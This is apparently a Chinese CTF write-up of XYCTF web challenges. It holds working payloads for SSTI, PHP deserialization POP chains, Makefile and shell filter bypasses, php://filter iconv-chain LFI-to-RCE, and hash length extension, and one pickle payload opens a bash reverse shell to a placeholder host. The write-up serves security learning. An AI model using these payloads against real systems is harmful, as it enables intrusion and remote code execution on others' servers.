ezClass
使用php原生类,将期望值可以通过类的一个属性输出,从而RCE
利用类:BadMethodCallException
从官方文档中我们发现getMessage()
函数可以将构造函数时的Message
返回
利用此特性得到
a=BadMethodCallException&aa=system&c=getMessage&b=BadMethodCallException&bb=ls /&c=getMessage
warm up
几个md5绕过
开头的extract($_GET);
可以将存在 变量重新赋值,在绕过
时会用到
进入level2(什么后室
直接传入数组绕过,之后有个preg_replace,用/e
命令执行漏洞
我是一个复读机
账户名admin,进行弱口令爆破
得到密码asdqwe
登录得到
存在SSTI,尝试{{7*7}}
得到警告
尝试【7*7
成功得到49
(从官方文档可知中文字符都会被换成{}
此时可以尝试使用SSTI字典跑一下看看过滤了啥
(字典群里薅的
跑完后,搜索关键字little hacker
常规SSTI
sentence=··lipsum|attr(request.values.a)|attr(request.values.c)(request.values.d)|attr(request.values.c)(request.values.e)(request.values.f)&a=__globals__&b=__name__&c=__getitem__&d=__builtins__&e=eval&f=__import__("os").popen("cat%20/flag").read()
官方payload
¥,()|attr(request.args.class)|attr(request.args.base)|attr(request.args.sub)
()|attr(request.args.geti)
(132)|attr(request.args.init)|attr(request.args.glob)|attr(request.args.geti)
(request.args.popen)(request.args.cmd)|attr(request.args.read)
()&class=__class__&base=__base__&sub=__subclasses__&geti=__getitem__&init=__init__
&glob=__globals__&popen=popen&cmd=ca''t /fla*&read=read
牢大
ezPOP
简单反序列化,不同的是最终使用call_user_func($a,$b)($c)($d);
命令执行
<?php
error_reporting(0);
highlight_file(__FILE__);
class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}
class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}
class CCC
{
public $c;
public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}
if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}
最后在反序列化时又抛出异常,可以通过破坏序列化数据结构造成GC回收绕过
(删个末尾的}
就行,或者其它方法
构造
<?php
class AAA
{
public $s;
public $a;
}
class BBB
{
public $c;
public $d;
}
class CCC
{
public $c;
}
$aaa = new CCC();
$aaa->c = new AAA();
$aaa->c->s = new BBB();
echo serialize($aaa);
接下来尝试命令执行
1. implode
implode() 函数返回一个由数组元素组合成的字符串。
可以通过该函数得到system
像这样:1
可以是任何值,因为给b赋值并没有指定键名
用这个方法有一个值没用上,接下来在官解给出了
2. 用Closure 原生类的fromCallable 方法
myCustomMapper函数接受一个回调函数和一个字符串作为参数。它将字符串按空格拆分
为单词数组,然后对每个单词应用回调函数,并将结果以空格连接起来,最终返回处理后的字
符串
掉用形式like:
call_user_func(Closure::fromCallable,[Closure,fromCallable])('system')('whoam
i')
传参
a=Closure::fromCallable&0=Closure&1=fromCallable
注意反序列化中的参数给到对应的位置
3. current
https://www.php.net/manual/zh/function.current.php
返回数组中的当前值
跟implode是差不多
ezMake
(?
Makefiles用于帮助确定大型程序的哪些部分需要重新编译。 在绝大多数情况下,C或C++文件都是需要编译的。 其他语言通常都有自己的工具,它们的用途与Make类似。 在编译之外Make也可用于当你需要根据文件更改情况运行一系列指令时。
使用source flag
或. flag
通过报错得到文件内容
echo $(shell cat flag)
命令执行
ez?Make
过滤好多
官解
cd没ban,所以可以先访问/bin
然后命令执行,这里还用到了通配符绕过匹配
cd ..&&cd ..&&cd ..&&cd ..&&cd bin&&echo "Y2F0IC9mbGFn"|b[!b-z]se64 -d|b[!b
z]sh
xxd
xxd
是linux下用来处理hex的命令
通过反引号命令执行
-r | 逆向操作: 转换(或修补) 十六进制内容为二进制内容. |
---|---|
-p | 以postscript的连续十六进制转储输出。这也叫做纯十六进制转储。 |
命令中如果有过滤字符,可以尝试二次编码
`echo 363336313734323032463636364336313637|xxd -r -p|xxd -r -p`
εZ?¿м@Kε¿?
提示过滤的:/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/
只能输入的:$()@[]{}<>-
输入$<
得到了
< 重定向符读取,用于从文件中读取内容
$() 执行并获取命令输出赋值给变量,等于双引号的功能
读取出后我们通过变量查看
$$(<$<)
注意$
需要转义,所以写了两个
ezhttp
照它要求做就好啦
POST /index.php HTTP/1.1
Host: gz.imxbt.cn:20513
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
User-Agent: XYCTF
Content-Type: application/x-www-form-urlencoded
Origin: http://gz.imxbt.cn:20513
Referer: yuanshen.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 48
via: ymzx.qq.com
Cookie: XYCTF
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
Ali-CDN-Real-IP: 127.0.0.1
Cdn-Src-Ip: 127.0.0.1
Cdn-Real-Ip: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
Fastly-Client-Ip: 127.0.0.1
True-Client-Ip: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
username=XYCTF&password=%40JOILha%21wuigqi123%24
ezmd5
ezSerialize
<?php
include 'flag.php';
highlight_file(__FILE__);
error_reporting(0);
class Flag {
public $token;
public $password;
public function __construct($a, $b)
{
$this->token = $a;
$this->password = $b;
}
public function login()
{
return $this->token === $this->password;
}
}
if (isset($_GET['pop'])) {
$pop = unserialize($_GET['pop']);
$pop->token=md5(mt_rand());
if($pop->login()) {
echo $flag;
}
}
mt_rand()
函数会返回随机数,token
会被赋值为它的随机数
指向同一片内存即可
<?php
class Flag {
public $token;
public $password;
public function __construct($a, $b)
{
$this->token = $a;
$this->password = &$this->token;
}
public function login()
{
return $this->token === $this->password;
}
}
$c = new Flag('123','123');
echo urlencode(serialize($c));
第二关
这里的wakeup我本来以为不用管,巧的是题目的php版本在7.4以下。。
不过可以控制所有属性的值,不让它结束就好了
<?php
class A {
public $mack;
}
class B {
public $luo;
}
class C {
public $wang1;
}
class D {
public $lao;
public $chen;
}
class E {
public $name = "xxxxx";
public $num;
}
$e=new E();
$e->name=new D();
$e->name->lao=new B();
$e->name->lao->luo=new A();
$e->name->lao->luo->mack=new C();
echo(serialize($e));
第三poc (来自常乐村驾校
<?php
// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
public $upsw1ng;
}
class XYCTFNO2
{
public $crypto0;
public $adwa;
}
class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";
}
$xyctf3=new XYCTFNO3();
$xyctf3->N1ght='oSthing';
$xyctf3->KickyMu=new XYCTFNO2();
$xyctf3->KickyMu->adwa=new XYCTFNO1();
$xyctf3->KickyMu->adwa->crypto0='dev1l';
$xyctf3->KickyMu->adwa->T1ng='yuroandCMD258';
echo(serialize($xyctf3));
利用php为协议读取flag文件内容
echo new $_POST['X']($_POST['Y']);
php原生类读文件 SplFileObject(默认读一行)
所以要结合php伪协议读文件全部内容
X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php
得到flag
ezRCE
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
众所周知,被反引号括起来的$/xxx
可以实现命令转换
而空格可以用<
表示
然后
$'\143\141\164'<$'\57\146\154\141\147'
login
注册,发现传了个cookie
解密后发现是pickcel序列化后的字符串,所以考的是pickcel反序列化
众所周知,高版本有很多不可见字符,而即使是低版本也可以正常读取,所以手搓低版本op
import base64
#__reduce__是被ban了的
a='''V__setstate__
(S"bash -c 'bash -i >& /dev/tcp/xx.xx.xxx.xx/23333 0>&1'"
ios
system
.'''
print(base64.b64encode(a.encode()))
————手搓自ewoji师傅
反弹过来后cat /flag
即可
连连看
<?php
highlight_file(__FILE__);
error_reporting(0);
$p=$_GET['p'];
if(preg_match("/http|=|php|file|:|\/|\?/i", $p))
{
die("waf!");
}
$payload="php://filter/$p/resource=/etc/passwd";
if(file_get_contents($payload)==="XYCTF"){
echo file_get_contents('/flag');
}
payload:
convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7||convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO-2022-KR.UTF16|convert.iconv.ISO-IR-139.UTF-16|convert.iconv.ISO-IR-157.ISO-IR-156|convert.iconv.WINDOWS-1258.ISO_6937|convert.iconv.KOI8-T.ISO-2022-JP-3|convert.iconv.CP874.ISO2022KR|convert.iconv.CSUNICODE.UTF-8|convert.iconv.OSF00010004.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode
先放一放,有好几种方法,还没搞懂(5.11
give me flag
哈希长度扩展攻击
i chi
<?php
include('flag.php');
$FLAG_md5 = md5($FLAG);
if(!isset($_GET['md5']) || !isset($_GET['value']))
{
highlight_file(__FILE__);
die($FLAG_md5);
}
$value = $_GET['value'];
$md5 = $_GET['md5'];
$time = time();
if(md5($FLAG.$value.$time)===$md5)
{
echo "yes, give you flag: ";
echo $FLAG;
}
2d94d47e4cd96d7803c107d816771339
网页的php脚本会将$FLAG.$value.$time
三者连起来求md5值
刚开始网页返回了flag的md5值,这里用到了哈希延展攻击
给出队里巨神写的脚本
import HashTools
import threading
import requests
import time
from os import urandom
from urllib.parse import quote
def attack():
sig = "5c02d1630a70c1fdf7a97efb7f5be2fa"
#flag的md5值
append_data = str(int(time.time())+2).encode("utf-8")
while True:
magic = HashTools.new("md5")
new_data, new_sig = magic.extension(
secret_length=43, original_data=b"",
append_data=append_data, signature=sig
)
payload = "?value=" + quote(new_data).replace(append_data.decode("utf-8"), "") + "&md5=" + new_sig
url = "http://localhost:60537/" + payload
print(url)
k = requests.get(url).text
print(k)
if "flag" in k:
print(k)
break
quit()
if time.time() > int(append_data):
append_data = str(int(time.time())+5).encode("utf-8")
#break
quit()
threads = []
for _ in range(2):
t = threading.Thread(target=attack)
threads.append(t)
t.start()
for t in threads:
t.join()
urllib.parse() url中文编码
这里time的时间戳加了2,是考虑到网路原因,可能会慢几秒
import time
append_data = str(int(time.time())+2).encode("utf-8")
append_data_2 = str(int(time.time())).encode("utf-8")
print (append_data)
print (append_data_2)
# temp python -u "/home/kali/temp/give_me_the_flag.py"
#b'1715425361'
#b'1715425359'
ni
从其他题目得知字符串(flag)的长度为43
相关工具:https://github.com/shellfeel/hash-ext-attack
可以很方便地得到新hash,手动增加100多秒的时间戳,然后用python脚本或其它工具反复请求得到flag
因为时间戳是被题目放在最后的,所以我们将脚本家的时间戳(扩展字符)删去
在到达我们设置的时间戳几秒前,打开payload
(post了一些数字达到反复请求的目的
搜索flag即可得到
ezLFI
给了源码
在index.php中发现<?php include_once($_REQUEST['file']);
它会将所有请求的file进行包含
同时我们发现dockerfile中什么日志之类的都用不了
于是使用前面我还没看懂的编码转换表示文字。。。
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=system('/readflag');
在传参的最后用0传递命令执行readFlag
读取flag(想起来HnuSec的测试了
不过相比较连连看,该题不用为乱码操心
baby_unserialize(难难难
进入/ser
发现
This is a fantastic tool that will convert your input(BASE64) to Object
Object
啊,那大概是java反序列化了
不急,入门java反序列化再说